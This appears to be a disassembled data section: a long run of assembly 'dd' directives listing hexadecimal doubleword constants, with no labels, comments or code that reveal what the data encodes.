dd 0AE0036D1h, 0E62270C6h, 874212h, 0BA045383h, 0F0B0E564h
dd 0C5F7EC00h, 43087BA0h, 7EC800E6h, 5D25B29Bh, 0E401D822h
dd 75FCB6F5h, 0BEE81B9Ah, 0BCD00069h, 671F7678h, 0A8018611h
dd 4609CDDEh, 837016E2h, 0D3F904E8h, 0C36095DDh, 0EEC04DF3h
dd 4C3E9115h, 8F9BB842h, 20518E61h, 0CA0C704h, 0B02E00FDh
dd 0E2672269h, 0FC717D73h, 288F241Dh, 0A3098E80h, 39CE6972h
dd 738085EDh, 126698B1h, 0A40058F9h, 0A6F17BC7h, 0C017B9D3h
dd 0C064B211h, 787E0947h, 8E004BF2h, 2D75805h, 0ECD818h
dd 5C54B3ACh, 0DCCB0450h, 8092D039h, 902631BEh, 742B602h
dd 2A0FBCE0h, 7F514055h, 4A005E76h, 97ECFB1Eh, 3C01CC0Ch
dd 368006F8h, 78956F7Eh, 8A0753C4h, 0D8F2C63Ah, 0A6C035F5h
dd 29FC791h, 0B4A5D9DDh, 0EC683476h, 0D6007FCDh, 1C48397Dh
dd 9504F4Dh, 0CF8C8A43h, 0C0D588C3h, 61CA7908h, 80031C3Ch
dd 9E6AA3E9h, 332C71h, 0B4B20B28h, 183D8EA5h, 0BC012209h
dd 9C455Dh, 7F3130CDh, 0C81D6582h, 0D4061274h, 3E2061ACh
dd 0DF3E4A75h, 7001EB0Bh, 7D82FCAFh, 0AC4884D3h, 0DF0EF908h
dd 81E90A62h, 0A61C9206h, 6DD8E0h, 0A9D0882Ah, 0FFE046EDh
dd 64C67601h, 0C471940Bh, 65B74083h, 68007B10h, 0A68C730h
dd 3C1CE77h, 51C634C8h, 0CDE01075h, 73603145h, 0D874E628h
dd 48775401h, 0E0FA86F8h, 0C62A6200h, 3A404703h, 0F99D00F0h
dd 873C9AEFh, 51004131h, 188D2221h, 10B6A8h, 302D6BFEh
dd 5CC67E62h, 3AC9FC13h, 0AECB1300h, 0B7A635h, 7FE0A798h
dd 976ED3C6h, 0ED61358h, 80CFEC88h, 2CC06775h, 0C3190761h
dd 906F866Eh, 0C70566CCh, 6A706200h, 65928B40h, 6278972Ch
dd 0A9435100h, 0A6020650h, 0CF82002Dh, 0BC4A30B2h, 8600CA83h
dd 0E7E96DE2h, 0FAD8FC5h, 3077AAB1h, 4ADDAEA0h, 9F183B07h
dd 0A92019BAh, 0A79100B8h, 75D4E945h, 0CF009466h, 0CE161FDDh
dd 543CA0h, 6178B1AAh, 7997D4F8h, 22A62D0Fh, 0DF81A1FEh
dd 0C244D13h, 71DE032Eh, 10ADB7C9h, 98C5CF81h, 8B212308h
dd 0CA7107D6h, 0B7B30E7Ch, 0F73E0063h, 4E03012Bh, 0AC25CE09h
dd 0AF675h, 0B04838F3h, 368C4F05h, 48609830h, 0A886B5F7h
dd 0F2ABA7DCh, 0E5B60C7Ch, 9B693914h, 8D18130Eh, 0C346602Bh
dd 183405F9h, 3987350Ch, 69E8BA81h, 11322937h, 0E00DC7F0h
dd 2AA806B3h, 8C0AB85h, 0F5211F60h, 0F40DCEh, 12049E22h
dd 0F65125B6h, 58DF2F30h, 0C63A721Dh, 698FD781h, 77B41912h
dd 2B9CE000h, 727347BAh, 5EAC03D9h, 701651C8h, 90C840FEh
dd 0DC3C07Dh, 0C846B3DCh, 0F1072622h, 0BC200DCAh, 0C806B540h
dd 1024A3D6h, 0EA4858h, 34D53C99h, 0FE677A2h, 3901CA95h
dd 728A9060h, 8BECB7E0h, 41ED861Ch, 4E9ADE80h, 222E16h
dd 23639DD1h, 3545F252h, 1DDAAA07h, 2400ED02h, 537308h
dd 0D1011C59h, 1FEEB16Ch, 38B7DD00h, 8A3745FCh, 3E7108h
dd 6AEBE32Bh, 62D92D7h
dd 5E0063F6h, 7E044B94h, 158D01h, 0D4F8B28h, 0D4736156h
dd 0CF956000h, 4ABC5176h, 0E53B0074h, 0AA5B04D1h, 3F00DFFCh
dd 0B54435F0h, 9AA541h, 7BF5E8DBh, 0E41F3E1Bh, 11EE93Dh
dd 8D48C40Bh, 0B3C4961Dh, 0FE41FAE3h, 4AB501F6h, 0EA7E6D17h
dd 15CBFC4Dh, 1B00C6E0h, 6E85A366h, 415EF0h, 8FD418B2h
dd 719CD5FDh, 74707C0Bh, 2BE180C6h, 0DE4191h, 121F920Fh
dd 8C941D5Fh, 1708D200h, 302BD68h, 91E001B2h, 69A9D543h
dd 0F380DF39h, 5000FCB4h, 8FF67507h, 995517h, 45844FCFh
dd 828C0983h, 7503107Ch, 0B4ED6405h, 0B95B90ABh, 7F6F03C2h
dd 3C139E3Fh, 2576100h, 2EE14636h, 9808C319h, 1DC0A8F5h
dd 174CACD6h, 8A3874DEh, 388580FAh, 895CCC99h, 86F40Dh
dd 0F0A854D5h, 0CE7C55D1h, 6EFA3076h, 0EF884C60h, 35026Ah
dd 3623D43Bh, 0BF6371CBh, 0C2545107h, 17B0D06Eh, 0D11B3Ah
dd 5850FD3Bh, 0A41F3D7Dh, 6F78F800h, 61C015EFh, 0D9772690h
dd 78E00D6h, 18A42C23h, 2D63AB00h, 7365382Fh, 20220074h
dd 346B87DDh, 3D54A194h, 4877F588h, 0C9024601h, 20D19CEDh
dd 0C162430h, 0E93329A7h, 8A00B138h, 71ACEAEBh, 0D86F2Ah
dd 0B67FEDCFh, 4396F25Eh, 232098C0h, 0FFC1C3h, 0D1D6B4A6h
dd 269491Dh, 0EEEE8F7Ch, 8755F500h, 0CE78E672h, 0C184004Ch
dd 0E0B1BC0Eh, 21308070h, 6C8A70FBh, 0D18E00CCh, 6E6D16A5h
dd 0E7009C25h, 7A0F81F0h, 1C9B4CFCh, 3CE90EC8h, 0F61D6400h
dd 2A75E87Eh, 874A2205h, 0E4003398h, 0BE215723h, 3DF0C039h
dd 0F6E7A8C8h, 0C703C671h, 0E2790B38h, 0DB7E90EAh, 4285021Bh
dd 0A1B10ED4h, 2502B981h, 0E051600Ah, 0FFA89300h, 7C130D59h
dd 69EE0056h, 570140FDh, 0E0754783h, 84199400h, 909C1F5Dh
dd 4BD801DEh, 0E8E5EFF5h, 8114DD7Eh, 0B24E6388h, 0F085AFB3h
dd 803F9EC8h, 84C9E5CDh, 5FF78600h, 7E7C7529h, 1009060h
dd 0E362E7D0h, 50C570F2h, 5AE505B8h, 0DA36A500h, 6C4CD45Ch
dd 0AF7502BEh, 6F6DFA5Bh, 97F4FCA4h, 7CA32F10h, 0F0EFEC58h
dd 59C60861h, 0E2247892h, 0C2AD427h, 1EF73000h, 0FD6D0B2Ah
dd 0C0774Bh, 982447FEh, 5B8A04E3h, 0AA4F0800h, 0FC5AB9E7h
dd 0F1760093h, 0FA3C1D71h, 7D0ADBCDh, 83F25F4Bh, 0E5B01E18h
dd 9ACC80E4h, 8B5B3401h, 0B672BEBCh, 0F09B9EECh, 4EE2013Ch
dd 0F6138CADh, 7207C073h, 0CF77E300h, 0EEB3F826h, 0C23C00EFh
dd 0F1E3ADDh, 520114C1h, 78B60AD6h, 0B2DCE425h, 0DBD03DA5h
dd 0BA534100h, 0EB73F12Bh, 0F2263490h, 9A0FA6BEh, 89F720FAh
dd 7F577Eh, 384A790Eh, 927A4BD5h, 0C5F9C02h, 6820A5BBh
dd 72C180h, 0D7FE0978h, 6A6EAE88h, 0E123C500h, 82AF9D3Bh
dd 0FC60F1B2h, 49757FA2h, 1B05C49Eh, 400FC06Bh, 0B84E8CB4h
dd 0FB395429h, 66942C72h, 7C1C803Ah, 6670BCFDh, 90230140h
dd 4DEE3380h, 5F5860C0h, 7B9FAD5Ch, 0C2984300h, 7923960h
dd 4869039Ch, 1715AC3Dh, 3B14BDD8h, 0F304D500h, 0B327F275h
dd 58F00E7h, 0E0D24157h, 0C3006583h, 28BEE645h, 9916B9h
dd 5BC10C97h, 31D9FA25h, 0B088F62Eh, 0FF83A001h, 0FF17E79h
dd 0C8DACCh, 2C7A37D5h, 9704FC21h, 5CF3A600h, 0A317E890h
dd 889E074Eh, 409F7156h, 0A5FB27E6h, 4FE6000h, 0C1994376h
dd 1033130Fh, 0E0684045h, 64625078h, 0C94EC002h, 4121CD0Bh
dd 86E4555Ch, 766F00F6h, 0EAA6A995h, 457883D6h, 7882A700h
dd 9D18A8DDh, 3B87C6Bh, 78B5789h, 0C8F0A24Ah, 98002A61h
dd 0C715E8EFh, 0B0372132h, 24E600D2h, 0F6DA3F7Eh, 0AF077020h
dd 634942CCh, 0CECDCA20h, 0D63E04C4h, 80FD9291h, 457822AEh
dd 1EAEC800h, 1BA2BB09h, 0AF610316h, 44FF6991h, 84EEF2F0h
dd 6E091D00h, 0E68ED203h, 0EBB13CDCh, 1FD624F0h, 63990024h
dd 0C3AB58EDh, 85C97C02h, 481C1265h, 5E1ABCh, 98780757h
dd 0EED9E2CFh, 67C6230Eh, 42CB80F8h, 74CA3FEh, 0D4B5D78h
dd 0AA033983h, 2100FF70h, 92515E7Ch, 0E2FE4543h, 3CBB3B2Bh
dd 0CF5D2280h, 74534D01h, 0FDE87801h, 89A82875h, 0CF1CC450h
dd 0BC3E3E11h, 81B101F9h, 6A65B578h, 3653E89Ah, 0E9352Eh
dd 0F3112680h, 44D7F4h, 0BAEC1DE6h, 92DE2103h, 52EB0A0h
dd 0D307D0B0h, 0F135EB26h, 8D61C5F0h, 859600A6h, 2102FA7Fh
dd 0DDFCAF18h, 0CA48D560h, 0EC6855h, 3A24C484h, 0CE28B167h
dd 3E10400h, 0C91CD3EBh, 7FFA9Fh, 0DE5615BAh, 824F0729h
dd 0C514CD00h, 0B4BEF08Eh, 0ECE84Ah, 0CAAC834Dh, 65874ED0h
dd 2BE16B07h, 32D02289h, 0F7DFB2Dh, 869A105Ah, 0BFE83C03h
dd 78DDE590h, 77AA0D00h, 0DB56D24Dh, 0B3610E34h, 864064C4h
dd 1337C7F4h, 0E4FAD000h, 699A948Ah, 491E0006h, 48AE6E6Bh
dd 840062F5h, 0D7E63D9Ch, 26BAA47Ah, 0D6C7DBh, 0C4E7A08Bh
dd 6A0EF1F9h, 0A2F3FF61h, 40763B3Eh, 2C86BE9Ch, 8B9019FAh
dd 0B980D521h, 94F0B94Fh, 0AC9BA900h, 0B30B1D03h, 92A01777h
dd 0CB400086h, 202D885Bh, 0AA008FEEh, 0EFF9AE9Dh, 11889CDh
dd 3CA9E825h, 0E9B52BF1h, 0A448201Dh, 0A3C22D00h, 1638CCC6h
dd 0D4490084h, 5FCF0FACh, 4E758B31h, 0B1F2A700h, 3A7A8076h
dd 0A2F71DDFh, 2C8EC0A4h, 9902FE27h, 886EA603h, 80C54D57h
dd 1660DFh, 0BD4CAC20h, 0F95C99FCh, 0B1256F04h, 0BFC07833h
dd 0EB70CBCh, 0A528688Ch, 0CB9FDE20h, 2324C71Ch, 0D1D0910h
dd 961CC026h, 84E5FC03h, 0F8110027h, 86C6EDFBh, 1D0E2C3Bh
dd 0DC099ED4h, 53010E00h, 7F9F46h, 0EA5B924Bh, 20DC4C66h
dd 2197F0C0h, 3C1C253Bh, 50601B22h, 41B42362h, 80BC69C9h
dd 0ADD9A850h, 9070E5h, 465B2517h, 0FC8F4807h, 0F2809760h
dd 509FC395h, 2A9E2482h, 17AC1C63h, 0E3B1999h, 909911B0h
dd 0F6144081h, 55000DB9h, 27E83704h, 0B0EC8A5Ah, 0A570B6h
dd 0B109E925h, 3673C7B8h, 0DBA3E0C0h, 0B560FF3Eh, 0F39CD1C0h
dd 3500B198h, 4178ADB0h, 0E799087h, 84D3F1DEh, 545C5100h
dd 570077A8h, 676C9D55h, 72D1F53h, 0BB3B7021h, 3882C0B8h
dd 0C9397579h, 9526041Eh, 2CC7507Fh, 92150FB0h, 52663D98h
dd 8800553Dh, 6EE7D10Ah, 31000736h, 3996EA8Dh, 17CDB04Fh
dd 1E6F6394h, 14CC0A15h, 0C9E98084h, 0CD899CD8h, 0FC00127Fh
dd 9FA9252Fh, 7803984h, 4E673427h, 649E3095h, 18B8CD6Ah
dd 0B30296F4h, 67825F0h, 49C809Bh, 3C953FF4h, 180097F7h
dd 1DC1549Eh, 0F8F90983h, 0A1007F13h, 0C98CF9BCh, 15447519h
dd 0BC21AA11h, 95DA6F00h, 0AE257E85h, 58DD5600h, 0B1E7B4Eh
dd 9DEB004Fh, 0E8E2C3CAh, 540D95A3h, 0C90CCC71h, 0C2DAFCh
dd 9FA64B37h, 9363B439h, 0F05C2200h, 0C0C1A779h, 41CD0359h
dd 19CC1FAFh, 0EA38390Eh, 3000D3ADh, 8369976Eh, 0B8230166h
dd 18659E41h, 51E0CC8Fh, 0E99A2F32h, 7488811Fh, 1C64F3F6h
dd 49CB00ACh, 8A0E2351h, 0D7A0CE45h, 8B1C55C1h, 541271Bh
dd 162A14ADh, 0AF117989h, 677D3810h, 0F64F1505h, 0A400A0DBh
dd 0CB028C46h, 6CFD1E1Ah, 3CCF809Bh, 0ACC3975Ah, 422EDF07h
dd 18814638h, 7BE0DC96h, 399E7B81h, 28007EF1h, 0D204BA4Dh
dd 0A407CDD3h, 0A5C56C2Eh, 37F6043h, 3D0AC20h, 17D8499Bh
dd 460069F5h, 83EC1342h, 7CC8C3h, 0EEC2F181h, 0ED3CE8D0h
dd 0B0858C0h, 6A37742h, 0BDC565A1h, 146008B2h, 42A2FA21h
dd 81F500D7h, 0EC45BEA7h
dd 0F8B8517Fh, 0AE083806h, 0CEB08F54h, 0A0A12831h, 0E0138771h
dd 5119DF12h, 0CB78C384h, 42080A18h, 0C409A38Ch, 0A1FF4021h
dd 2534842h, 9EF04C26h, 8C938430h, 6B881010h, 0FC41DA0Eh
dd 0E7BEB647h, 1A66F1A2h, 0F7BBDC60h, 7AFF1100h, 0EA3D2D8Eh
dd 0E5340007h, 0F291AA50h, 3105DC20h, 2FC37FC4h, 7FAE101Eh
dd 84B97400h, 3E865C12h, 0BA003269h, 394D0D90h, 5838D053h
dd 10D7300Ah, 3824869h, 550806ECh, 18865CAAh, 34002278h
dd 0B8A0EA37h, 1D1F12ECh, 0BDB6EE27h, 8529118Fh, 0CB56F9C0h
dd 81CE412Ah, 74E2E0B4h, 1C0FCAA4h, 40886676h, 7DC1F3E1h
dd 0FE00B68Fh, 0ED5A2AD4h, 0B2387h, 4AF85B68h, 0B26AC89Bh
dd 0EF1D983Bh, 186E8098h, 0E3AB5E7h, 0CA1FF5BFh, 3F93B3Fh
dd 951CA0B6h, 0A90C13DFh, 0FA5A5568h, 0BDBA3D81h, 0CF6DDA00h
dd 9C7E0945h, 3E82A106h, 3A310CBEh, 8CBCD970h, 0D0B4A907h
dd 0D12E107Dh, 0CB059D06h, 2F03B6D2h, 5D46C00h, 0F816C38Fh
dd 0FC800375h, 89FE1C13h, 0D41A09A1h, 35001751h, 0C6CC81E5h
dd 1DE00529h, 0C16C37F2h, 974340A8h, 0DE1080F3h, 27C76952h
dd 2E7A061Dh, 88277CBh, 203E6A30h, 0C77137h, 23C262CEh
dd 0F2F4478h, 3E51CC60h, 1797B4AEh, 6421D40h, 382E847Ah
dd 7F96F218h, 0E63708h, 0DC721154h, 706FFE10h, 0CA3E53Ah
dd 6958227Bh, 6149F642h, 0FB5059B7h, 21BC480h, 0CE449E03h
dd 5E9967h, 9AF82851h, 41C0806Fh, 681CAE00h, 83D4DCADh
dd 0EDCF036Bh, 38C17CA4h, 2EDAD800h, 4A67F419h, 7E61C0CAh
dd 383AFCACh, 8E62500Ch, 6C67095Fh, 37420F4h, 364D13Fh
dd 3C66F1FAh, 6AD93C3Fh, 0ECF8302h, 0A884CC80h, 0C76B6041h
dd 6A1D2311h, 3DDB08h, 0D8C77335h, 7D3B7183h, 68278064h
dd 82F6FE2h, 18A1D3D0h, 8B2951D4h, 42ABDA0Eh, 92A560C4h
dd 0E8DB34F9h, 0A990015h, 9F11429h, 5164904Dh, 866065E8h
dd 38235503h, 661180h, 3CFC9E8Ch, 864EC02h, 38059812h
dd 666D1630h, 2C6900A5h, 49098435h, 2403B832h, 0BC228B25h
dd 3B53B8B5h, 0F9DE068Eh, 78DFDCBBh, 3E44B52h, 595FF6D0h
dd 0B530F004h, 0F444508Fh, 6E81C0A4h, 36FC72D8h, 0A20DE800h
dd 2D2F74E4h, 0CEF607D9h, 0B3949142h, 8406F7Bh, 6701AAE8h
dd 187052E9h, 2A23C72h, 54D700CCh, 3EB9890Ah, 0BF33106Bh
dd 124084Eh, 0A1C7521h, 20C93694h, 5A0407B6h, 0E2D9CD9h
dd 50DB9088h, 0CFD81Dh, 27418092h, 50D34AADh, 0CA51F8E3h
dd 7B5D8300h, 721A9CB9h, 1F40A43Dh, 88860A4Bh, 74586AF6h
dd 960A0053h, 905EAFD4h, 887A91B2h, 5C15BB0Ah, 1805A47Ch
dd 0E06071F4h, 0E238FCAAh, 0DE6342A0h, 9E0342C0h, 7298F62Dh
dd 3E602063h, 0C2D97C00h, 91045ECCh, 0E1F2CAh, 61F7A87h
dd 0BA391AD6h, 1CEBDB00h, 8BCE7E66h, 96A9C431h, 0A4B49086h
dd 0AB00D721h, 4AF1B152h, 22E299Fh, 0C4D3FFB4h, 804F692Dh
dd 0E2CE5A40h, 0E97B1C99h, 460584EEh, 870C8C1Eh, 503C58h
dd 5138478Ah, 0BBD995h, 469498B3h, 531760A8h, 470010E6h
dd 0AC3851A1h, 18DEC8C7h, 0C1879793h, 0B300138Ch, 6302E91Fh
dd 748AF342h, 21796070h, 27B33C4Fh, 9BA83500h, 21FA4DFFh
dd 0A148C864h, 19B315C0h, 703221E9h, 4D035891h, 52EFB326h
dd 50323DA1h, 0E48F12A4h, 9B2C6300h, 0A47EF056h, 0E71007FEh
dd 0E0C89D61h, 0B51B4050h, 9B44CD05h, 3C2BCA36h, 3A007923h
dd 0A0ACDD9Fh, 62930C3Fh, 1920CC89h, 27799091h, 76006618h
dd 48C20EC3h, 9A9C3781h, 0B4F91808h, 404C7970h, 42F9CC72h
dd 4F309134h, 0BAAA110Ah, 80338856h, 230A1780h, 0A35549DAh
dd 0EF141F8h, 6EAB2076h, 0E8B7051Fh, 443F35C2h, 484499h
dd 0E6FB5FBEh, 7C66A33Ah, 3E23248h, 75CE575Ch, 1E611C3Eh
dd 0BBF78487h, 3A48D41Dh, 45F23ACh, 0C3B2790Dh, 1909716Ch
dd 9091225Bh, 65498700h, 8B18C18Bh, 0E07DC830h, 52BD887Ch
dd 0E91B2D07h, 84A92251h, 3860902Ch, 0BA29AD0Ah, 81C0A81Eh
dd 52A0A40h, 0F73F5A22h, 4CBC88B9h, 3EA9CE06h, 0F879247Ch
dd 0CE89097h, 8EC1F9C7h, 602EE29h, 0CE519173h, 30084472h
dd 0B0218096h, 0BD0042F8h, 0C096B77h, 4C79F5h, 483CE590h
dd 3ACA3BA5h, 1C0990B1h, 6437C8h, 0F5C9A7D9h, 0C61CE162h
dd 0CC2627FBh, 34C2B244h, 0C7683042h, 721D2817h, 405C38h
dd 15EC770h, 0F6EB8E1Fh, 8C78AC29h, 4930981Eh, 0E16825h
dd 69BAF340h, 28767866h, 62BE9503h, 0C0C45FECh, 4C7B4004h
dd 7BE830FEh, 2CDD008Ch, 676E747Ch, 79CFF798h, 8746EEBDh
dd 0C9104944h, 1DC5AD69h, 928E533h, 0AC041F22h, 0A39608Fh
dd 46BA23ACh, 7E002B11h, 737C0A41h, 88057655h, 2C449BCAh
dd 2C88DC85h, 0AF7424h, 8E484AA8h, 0E63FD705h, 8075C63Bh
dd 797C99CAh, 0FC047AADh, 4C851336h, 0B900210Fh, 42BF1071h
dd 498B18C5h, 241E59B8h, 4483E200h, 88865094h, 9841E57Bh
dd 0D9642h, 8AE968F4h, 2CC0A499h, 4C3DB38Fh, 0BF9F0C4Bh
dd 64B7E780h, 0C44F6315h, 29853439h, 9203A408h, 2E10628h
dd 0A2953E89h, 1847C81Fh, 5B606D44h, 0B40129A4h, 0A904208Ch
dd 418E88CEh, 0D4017F2h, 3FCBBB40h, 0FDAE0102h, 0C9319666h
dd 0AD186EDCh, 0DD39FC2Ch, 7BC40024h, 3459F40h, 79001A13h
dd 25B20A5h, 64427436h, 45CFD01Eh, 0C0409B97h, 0CED183C4h
dd 0E3F500A5h, 8F98616Eh, 1A48C8E1h, 8C2ABC14h, 830EE700h
dd 4FCFF6D2h, 592509B3h, 78B0C232h, 8430CE74h, 0BD923941h
dd 0F862E5D4h, 0C3E58F1h, 298022Ah, 36997213h, 50884C61h
dd 5C21EC2Ch, 0B851A32Bh, 0DFEA2C04h, 0B81B00C8h, 13B46F8h
dd 0B9880A55h, 400C6AE6h, 11D8288h, 0BA07530Ah, 0EA2CF74Bh
dd 975CF052h, 62548094h, 0A3F014h, 83467DFCh, 9CBECC36h
dd 8005D53Ah, 93A2E3B9h, 482E7BF5h, 1F232CB7h, 13CF1D07h
dd 80381A35h, 0C7650043h, 0D7EF2F5Dh, 0E1006419h, 37125F4Bh
dd 2AF72753h, 12B86F4Fh, 8BB2D470h, 0C040C82Ch, 211766F0h
dd 0B71E8C00h, 790E89E9h, 9794263Fh, 0BFD44048h, 0F81CFCDDh
dd 0E700E9F0h, 5BCC19D5h, 16C6019Ah, 6722D3B4h, 2411CD7Bh
dd 0C339BC3Ch, 0A14012B2h, 0C045E808h, 0E965B329h, 5D221246h
dd 0B33A311Eh, 0D6D4F9C0h, 301EFF89h, 0C0B93B3Dh, 900ABC1h
dd 166F3A4Ch, 18D48115h, 41859953h, 6000A1EEh, 0AB1E89DAh
dd 4DD48FDh, 0A57BF8FBh, 86208879h, 14B94924h, 2D39AEBEh
dd 0C012F80Eh, 0C0A61C70h, 0FBE9015Fh, 0FCBDF114h, 0B6F5F46Eh
dd 0F6041678h, 0A2490C76h, 28850C90h, 1354EA0Eh, 43718Eh
dd 21EDE2EEh, 774150Bh, 94403C4Ah, 0B769A103h, 2AF0381Ch
dd 0DF0CF980h, 9C833BDAh, 44719900h, 4C4DA62Dh, 0CCCB0F28h
dd 2F407232h, 14450DFDh, 0D55EB300h, 0E80BF263h, 0FC49488Ah
dd 6DC85180h, 0A20F8C2Ch, 40F4649Ah, 2F899084h, 2278052Bh
dd 41579BC3h, 0D08DB594h, 94B0F8C4h, 0F9591F01h, 0E652DD92h
dd 30ACB7DCh, 0A6C03186h, 846099E8h, 0A1EF9D39h, 6E180E4Ch
dd 0ADE54D50h, 61B10025h, 2D5AFCF7h, 0C3977500h, 7B9588B4h
dd 6C6C495Fh, 22ACF917h, 0DC524B10h, 0F50020B0h, 0DF761094h
dd 1D27AE5Bh, 40AFE4D3h, 0DBF0B0B4h, 0E3E662C0h, 8AF4ED3Bh
dd 0F88DBAF9h, 6A3B5F40h, 0CE2234AEh, 0FB428128h, 0D29071B5h
dd 45031851h, 901DD3E5h
dd 8DAA78h, 0DD4B6746h, 0F6DB1F5Fh, 997D700Ch, 72965981h
dd 1DACF2B9h, 3C2EF7h, 5E61EEA8h, 773A65B0h, 49FF80D2h
dd 0B4B7604Ch, 7B99021Ch, 3D40AABBh, 0C21E687Ah, 0DCC0D8D5h
dd 0E2A31FE1h, 0C9A904A6h, 0C95F8160h, 9A800308h, 302C31C1h
dd 35441A74h, 294D0046h, 2D516140h, 0CE9010A7h, 5B49A49h
dd 7379D070h, 0E3B1A680h, 0F1080E5Dh, 31028691h, 3C443D6Bh
dd 68804B13h, 0EE76A000h, 98DD9329h, 3167403h, 1EBD4A69h
dd 59079D98h, 47289918h, 0AF4482C0h, 0F12F1277h, 0A53440C9h
dd 2D76E5BFh, 871CD02h, 52C0F73Fh, 0C2647BB8h, 4D670529h
dd 0EEA153C1h, 119B1061h, 998B363Ah, 0A0845Eh, 289F4057h
dd 81E0E95Ch, 496AAA8Fh, 2B022840h, 38D10F04h, 0A580BE50h
dd 607644F7h, 35052A04h, 94807E14h, 30977420h, 9E203EE9h
dd 3A013C60h, 0A2AE6BE4h, 0C2D02741h, 0DAF4016Ch, 0CD2C8252h
dd 0CA2DD4EFh, 399A9009h, 0E8E9093Ch, 1F0758h, 9E2D1029h
dd 62A9F16Ah, 67BA0306h, 7C9373Dh, 0D7956999h, 89831064h
dd 3E25CCBEh, 51B8203Dh, 0EC79C442h, 0F0E2B3h, 0C05099E1h
dd 384516A0h, 3B5D5F3Bh, 7EB787BAh, 319BB8Bh, 0F8579EA4h
dd 0EF11594h, 0EEE2B310h, 0B8C79980h, 0D8F9952Eh, 9A2AA331h
dd 0FD3BC083h, 93E300B4h, 714D4BCh, 28E00Dh, 231AAFB5h
dd 38104B7Ch, 0B4ABC80h, 0E71B8178h, 4186F898h, 0E1FB9C00h
dd 0FD8F43F0h, 0DC530042h, 3851F4F6h, 6B1ECA3Ah, 1D8A0F91h
dd 93001C4Ah, 7748EFFBh, 0AF730707h, 0E132123Dh, 0D436E125h
dd 6600E6E0h, 0C2940FFFh, 0C710AAAh, 397E7CAh, 5C034B91h
dd 42153F74h, 0E3F8B0EBh, 0E44E00B5h, 9B73BAF7h, 3F1D660Ah
dd 40CA450Ch, 84008C0Dh, 249C538Ch, 34B458F7h, 0A9BDEC81h
dd 1A9C3029h, 0C8598E0Ah, 0F440C83Fh, 3488E6h, 0E15E4122h
dd 0C73B39Eh, 6335D1Eh, 400E4EC0h, 0C06A9989h, 0A782AE51h
dd 4D13310Fh, 74008C79h, 1D7B8B1Bh, 834700B3h, 99D8235Fh
dd 0C139890Dh, 0B8438067h, 60AD2624h, 0F375E2CDh, 0B52C8180h
dd 0BFF672C6h, 0F7B65F1Bh, 649BA248h, 57CB00B4h, 3F3D7375h
dd 930F6790h, 24A9FA96h, 0A0883C7Bh, 0C720043h, 5F4C4E07h
dd 510708B4h, 0ECFCBE3Eh, 33235B81h, 89382830h, 19C3296h
dd 0CF45352Bh, 0CC30DC6Fh, 24858886h, 84310E6Fh, 0EE4B72B7h
dd 8089B889h, 0B4A56600h, 6D3BCF91h, 2C782E7Ah, 0E6CBB842h
dd 9CD10094h, 128BAF8Eh, 30000718h, 86FD95B1h, 586BDFh
dd 0ED1A6737h, 0EB5E54CDh, 602FF53Eh, 26B6B071h, 7CF0456h
dd 91BF3277h, 6D96D1E8h, 9B007D74h, 3869DEEh, 0F24D1FF4h
dd 3C4118CBh, 0B6799134h, 5E7EE304h, 0CFC0283Fh, 0E33ACC02h
dd 5DFE219Eh, 51A00007h, 393325CFh, 4873E2Ch, 0DD202D60h
dd 0FD7A1Ch, 3C0E0CE8h, 77ACFC67h, 44580BFAh, 0F2F16060h
dd 0B77F48h, 0F5854318h, 0C29914FEh, 0D0917873h, 0CB79B500h
dd 0E41F414Ch, 0CE52001Eh, 7518DC1h, 7524D147h, 0F103EC9Ah
dd 0A0B6F2D9h, 17A9E7ADh, 1429D2Eh, 48E6AE48h, 0EE402055h
dd 20607B27h, 6D8777D4h, 0D68B1258h, 0C91CD049h, 991F227Ah
dd 0A880BD8Dh, 633B7CEAh, 0F928380Fh, 93EC801h, 1302984Dh
dd 35F6F8F3h, 58CF007Ah, 2C2BA9C6h, 150284E4h, 0CC7C1CA2h
dd 906449h, 853215Eh, 0B4FEBEC2h, 0A7D03800h, 7292C7C8h
dd 3EB2FEECh, 9E81996Bh, 0F7402B5Dh, 64B048ACh, 229C089Ch
dd 1983F300h, 0C90030Bh, 396945EAh, 24B89FE8h, 4F106A42h
dd 41CE8C58h, 73BB00DCh, 47FA8566h, 1E073225h, 0A2A6C712h
dd 1B94FFF0h, 8028B1EFh, 0B7FBC82Fh, 0BE00785Eh, 0A0754C48h
dd 5D3F596Dh, 9B28F8D4h, 6E3C0054h, 0E53A9874h, 3F00E3A2h
dd 0FFBDEBA4h, 583DB8F8h, 40C20AEh, 0ECB02CF7h, 704C1D14h
dd 45AEC394h, 1B6AF8B9h, 0C560C589h, 25900688h, 2F2E108Ah
dd 0F4ED09Ah, 4127209Dh, 75CC429h, 63712C38h, 724560A8h
dd 682808CDh, 0A6481896h, 393101DCh, 0C39CE801h, 304C93C8h
dd 1A4C64ECh, 89003366h, 34A5073Ah, 31BA2D5h, 0D340ABE8h
dd 17E09246h, 565C6B4Ch, 0CD387AE4h, 20E917C1h, 6F322430h
dd 4E6A00C4h, 0B50CEB46h, 8201FDBDh, 0A3EF71C9h, 943C2CAFh
dd 0B1D86F80h, 0F100205Dh, 7D617CB2h, 6150F536h, 280DF8A8h
dd 0D82D06h, 0D2F4752Ch, 1CBF9E6Ah, 0D78659BBh, 1B30C89Ch
dd 25440800h, 9930ACA5h, 0AACB00F2h, 7895E41Ch, 965FD269h
dd 4E0BF840h, 0E2758198h, 84FC00D1h, 934032Fh, 390782EDh
dd 0E0F4169Eh, 4D175F70h, 0F7151661h, 0C02031ADh, 0CA047096h
dd 1A7A588h, 245F5285h, 3D367B97h, 0C12C4C04h, 6B5299F9h
dd 0F54179F5h, 0C8C84C9Ch, 7D42000Fh, 54697422h, 5325A3B6h
dd 0EC98A098h, 7F0FBD0Eh, 17DC9824h, 30C5CE1Eh, 0B10994C8h
dd 0A1ACED00h, 4B69BECFh, 0B5E5125Dh, 1944C873h, 3CAACD00h
dd 8C7C387Eh, 94DB02A4h, 27E3E1F2h, 67B49688h, 0AEBDD087h
dd 0E8F42B4Ah, 0FB55FC00h, 0BAF21BC8h, 699A2A93h, 0FDC50084h
dd 0C316FEC0h, 2026D852h, 6640C098h, 3832DDD3h, 7980E7CDh
dd 993D3F8Eh, 1CB1C2F7h, 0AFDCF300h, 13495325h, 4527EE4h
dd 408DB900h, 0D438AAB6h, 0CE60002Bh, 933B0743h, 1B00F6FDh
dd 0CFFC542h, 6149EE1Ah, 85FEC1B6h, 566D0138h, 12C45FF4h
dd 893F1F06h, 0B6F6F4BCh, 48DD500h, 0A598C47Dh, 8BB0D4h
dd 5DADF8EEh, 0B4953069h, 1C0BA4Dh, 28A41C59h, 3838AFFDh
